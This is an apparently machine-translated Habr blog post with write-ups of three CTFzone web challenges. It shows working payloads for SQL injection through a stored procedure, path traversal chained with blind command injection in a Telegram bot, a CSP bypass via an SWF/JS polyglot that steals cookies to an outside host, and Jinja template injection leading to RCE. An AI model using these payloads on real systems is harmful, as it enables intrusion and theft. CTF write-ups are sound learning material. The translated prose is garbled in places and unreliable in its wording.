Friends, we hope that everyone's weekend went well, and you are ready to break your head again a little over the CTFzone tasks. We continue to publish raitap to the task, and today we will analyze the WEB thread. Just in case, stock quotes and go;)
The direction of WEB was the second most popular after Forensics, with a total of at least one task decided by 303 people. By the way, out of them, the task for 1000 was decided by only five participants, so we will pay special attention to it. Tasks for 50 and 100 have already been published, so we will immediately move on to tasks more difficult.
Captain Picard : Lieutenant, over! We have found one of the main alien hackers. He is one of his websites. I know you still haven’t been repairing your ship. It will help you to catch it.
Decision:
So, in this task we need to get information that will help to catch the leader of the group of hackers. We know that this information is contained on the site, and to get the data, it must be hacked.
The site is a news blog with the ability to search:
Run brute force directories (for example, using dirb
)
As you can see, there is a .git
directory. Let's try to download the sources (for example, using rip-git
)
As a result, we will get about the following files:
Consider the most interesting part of index.php
:
... if (isset($_GET['filter'])) $filter = $_GET['filter']; else $filter = '%'; // all news if (preg_match("/'/", $filter)) error('Hacking attempt!'); // hate hackers if ($filter !== '%') { if (isset($_GET['type'])) { switch ($_GET['type']) { case 1: // looking for contains $filter = '%' . $filter . '%'; break; case 2: // looking for eactly matches break; default: error('Type of search is incorrect!'); } } else error('Type of search is empty!'); } $query = "CALL FIND_NEWS('" . $filter . "')"; $result = $mysqli->query($query); ...
Here is the logic of searching for news. Depending on the type
parameter, %
either added to the filter
parameter or not. Then the contents of the filter
passed inside the SQL
procedure FIND_NEWS
. We do not know the content of the procedure, but from the title it is clear that it contains the logic of searching by filter.
Immediately you can pay attention to the fact that the filter
parameter is checked for the presence of single quotes before getting into the query. No more screening. SQL
error can be caused using \
at the end of the query (with type
equal to 2), but you can’t do it in any way.
We must dig in the direction of the procedure FIND_NEWS
. Since the %
signs appear in the filter, it can be assumed that the search inside the procedure is performed using the LIKE
operator. A careful study of the search operation makes it clear that filter
simultaneously searches for both the title of the news and its text. So the query inside the procedure looks like this:
SELECT * FROM news WHERE news_name LIKE '$filter$' OR news_tet LIKE '$filter$';
So, the logic is clear, but the implementation inside the procedure is unknown to us. Perhaps the procedure first builds the query as a string, and then executes it. In this case, SQL Injection
is possible inside, but if this is true, how can you break the logic of the query and do something else without a single quote? It is worth paying attention to the fact that inside the procedure, the filter
parameter is probably used in two places. And here we are come to the rescue by a return slash.
If the parameter will be:
+or+1=1+--+\
That request will turn out like this:
SELECT * FROM news WHERE news_name LIKE ' or 1=1 -- \' OR news_tet LIKE ' or 1=1 -- \';
This is quite a working request, which should bring us all the available news. However, the problem remains - the backslash breaks the initial request and does not even get into the procedure. The solution is obvious - it needs to be screened. In this case, it will be safe for the first request (procedure call), but inside the procedure it will turn into a dangerous single backslash. It turns out about the following:
+or+1=1+--+\\
We try:
As you can see, the request worked successfully, and the news was loaded. Our vector for SQL Injection
works. Now it just remains to spin the injection and find the flag.
Find out the number of columns:
+union+select+1,2,3+--+\\
Now we learn the names of the tables:
+union+select+1,table_name,3+from+information_schema.tables+--+\\
From interesting:
Now we know that there is a secret
table. We recognize her columns:
+union+select+1,column_name,3+from+information_schema.columns+where+table_name="secret"+--+\\
The last step - pull out the flag.
+union+select+1,flag,3+from+secret+--+\\
Hooray! Flag received!
Answer: ctfzone {VeRY_d33p}
Captain Picard: Lieutenant, we have detected an alien's news website. Perhaps, there will be some data on their plans. Get it!
Decision:
In this task, we need to access the server where the key is located.
The main page is as follows:
Sitemap is very simple:
From the server headers it is clear that Flask
is being used. The vulnerability was the incorrect use of the send_file()
function and routing. As a result, Path Traversal
in the name of static files.
Here is a cut from the source code for a better understanding of the vulnerability (Note that during the competition, players did not have access to the source codes):
... @app.route("/static/<path:filetype>/<path:filename>") def style_file(filetype, filename): if filetype in app.static_types: try: if filetype == 'css': return send_file('./static/css/' + filename, mimetype='tet/css') elif filetype == 'js': return send_file('./static/js/' + filename, mimetype='tet/javascript') else: return send_file('./static/img/' + filename, mimetype='image/jpeg') ecept Eception as e: print e return render_template('404.html'), 404 else: return render_template('404.html'), 404 ...
As a result, we get an arbitrary reading of files:
If you look closely at /etc/passwd
, you can pay attention to the last lines:
... web::1000:1000::/home/web:/bin/bash telegram_bot::1001:1001::/home/telegram_bot:/bin/bash
In addition to the web server, the telegram-bot is spinning here, and it is located in the /home/telegram_bot
folder. We try to read the most obvious file in the home directory: .bash_history
Consequently, the bot source is located along the path /home/telegram_bot/bot.py
.
Similarly, we read the bot.py
file:
# -*- coding: utf-8 -*- #!/usr/bin/python2 import telebot import subprocess # SysAdminHelper_bot token = raw_input() bot = telebot.TeleBot(token) @bot.message_handler(commands=['uname', 'ps', 'uptime']) def repeat_all_messages(message): waf_rules = [';', '&', '|'] for rule in waf_rules: if rule in message.tet: output = 'stop hacking!' bot.send_message(message.chat.id, output) return args = message.tet.split(' ') output = '' if ( args[0] == '/uptime' ): try: output = subprocess.check_output(["uptime"], shell=True) except: output = 'eception' elif ( args[0] == '/uname' ): try: output = subprocess.check_output(["uname -a"], shell=True) except: output = 'exception' elif ( args[0] == '/ps' ): try: output = subprocess.check_output(["ps au | grep %s" % args[1]], shell=True) except: output = 'eception' else: output = 'eception' bot.send_message(message.chat.id, output) if __name__ == '__main__': bot.polling(none_stop=True)
As you can see, the main purpose of the bot is to execute primitive remote commands on the server. If you look closely, you can see the following line:
output = subprocess.check_output(["ps au | grep %s" % args[1]], shell=True)
It is interesting because the argument is passed to the ps aux
command, and it is not checked in any way. This is a clear RCE.
# SysAdminHelper_bot
This line gives us the name of the bot. Easily find it in the telegraph.
We try to execute the legitimate command:
Although we have an explicit RCE, several restrictions are imposed on it:
& ; |
& ; |
because they are prohibited in the bot code.In this case, there are several different solutions, consider one of them.
Since the bectics are allowed, you can execute code through them. The complete command will look like this:
ps au | grep `uname -a`
To solve the problem with spaces, you can use the following construction:
ps au | grep `{uname,-a}`
Locally, the result of the team's work is as follows:
Our vector works, but the problem is that the output first goes to grep
, is processed there and eventually ends up in STDERR
(error output stream) instead of STDOUT
(normal output stream). If such a vector is transmitted to the bot, then the presence of data in STDERR
generate an exception, due to which we will not see any output. In simple words, our RCE
works, but we see no result.
But now is the time to recall that at the previous stage we found Path Traversal
. As a result, we get a bunch of Blind RCE
and Path Traversal
. So, we can write the output of RCE
to a file, and Path Traversal
will easily read it. The final vector is as follows:
``{ls,/home/}>/tmp/output``
Bacti on 2 on each side because the client telegram highlights the text inside the single baktik as code and deletes them.
We send the vector to the bot and get in response the expected expected eception
:
Through Path Traversal
we read the /tmp/output
file:
Thus, we learned that there are 3 folders in the /home/
folder: flag
, telegram_bot
and web
Completely similarly read the contents of the flag
folder:
We read the flag:
Answer: ctfzone {W0W_SUCH_H @ CK_W0W}
Captain Picard: Advanced technology industries. Their control system. I need to unlock it. It has been given that it has been available on the ship. The team had to work with them. It is a system of artificial intelligence. You have to hack their system.
Decision:
We go to the site. We immediately see the search form, in which the query from the search line is displayed. The first thought is XSS
.
We start to try XSS
vectors. We bypass the simplest filtering, for example, using uppercase.
We see an injection in the code page:
<div class="row"> <div class="col s6 offset-s3"> <div class="card orange lighten-3"> <div class="card-content white-tet"> <p>Nothing found for 'asd<Img src= onerror=alert(1)>'</p> </div> </div> </div> </div>
It looks like XSS is in our pocket. But for some reason, the alert
does not work, look at the browser console:
Content Security Policy. Server sends headers:
HTTP/1.1 200 OK Connection: close Content-Type: tet.html; charset=utf-8 Content-Length: 1930 X-XSS-Protection: 0 Content-Security-Policy: style-src 'unsafe-inline' 'self';script-src 'self';object-src 'none';
Well, you can not bypass the browser's auditor, but the execution of the script is allowed only from files located on the server.
We are looking for new buttons on the site. There is a feedback form in which you will most likely have to drop the link to the admin. And the form of loading ads. We try to load the .js
file.
Only images and swf
allowed. Judging by the fact that we found the XSS
before, it is necessary to fill js
. In this case, all files are checked for resolution and a few more parameters. After some thought, we decide to try swf
from the repository https://github.com/evilcos/ss.swf
.
We get the error:
It seems, it is necessary to be confused with swf
. According to legend, adblock
is still off. It may be possible to slip a swf file with a valid javascript
syntax. First, change the header from CWS
to FWS
. Now the server considers that the swf
file is not compressed.
The next problem is framerate
. What we gobble spec, we find that at the offset 0x12
it just lies.
Now our swf
uploaded to the server. It remains to make a valid javascript
and to get started with cookies. We form payload
:
And now do ss
!
We form payload:
web1000.ctf/?search="<SCRIPT/SRC="/uploads/ss7.swf"></SCRIPT><p>
We get cookies.
GET /?=SESSION=eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 HTTP/1.1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Referer: http://10.1.2.20:8081/?search=%22%3CSCRIPT/SRC=%22/uploads/xss7.swf%22%3E%3C/SCRIPT%3E%3Cp%3E Origin: http://10.1.2.20:8081 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: ru-RU,en,* Host: 8.8.8.8:1234
We go, but it seems that this is not enough.
We look session: obviously base64
. Decodim:
eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 {"secret": "9b4602d9a524902756a70b8949adcb1f", "user": "admin"}
Why is the username here? Change the session. The username on the page is changing. After much deliberation and attempts, try {{ 2+2 }}
. We get 4.
It looks like an injection into a pattern. Operating methods are well described here .
We try everything. It turns out that from magic_methods
c underscore
, the python becomes bad. But there is a great way to operate through from_pyfile
. We have learned to upload files similar to the code in the first part of the task. We need this payload
:
from subprocess import check_output RUNCMD = check_output
Upload this file to the server as swf
:
We load it using the session:
{ "secret": "9b4602d9a524902756a70b8949adcb1f", "user": "{{ config.from_pyfile('uploads/12.swf') }}" }
Now we can execute any commands on the server.
Checking config.items()
It now remains to find the flag:
{ "secret": "9b4602d9a524902756a70b8949adcb1f", "user": "{{ config['RUNCMD']('ls', shell=True)}}" }
We get the answer:
admin_blueprint.py admin_blueprint.pyc application.py application.pyc flag.tt ghostdriver.log requirements.tt static task.py templates uploads worker.py worker.pyc
Everything. cat flag.tt
left to do
Done!
Answer: ctfzone {3245c702f66816ca086a730c6baa5e16}
Now you know almost everything. Stay with us, and very soon we will reveal to you the latest secret about investigations in open sources. In the meantime, you can discuss a new Ritep and ask a couple of questions in our chat in the telegraph and in the comments to the post.
We remind you that you still have time to try your hand at the tasks on the hiring here , they will be available until 15.12. Good luck!
Source: https://habr.com/ru/post/317422/
All Articles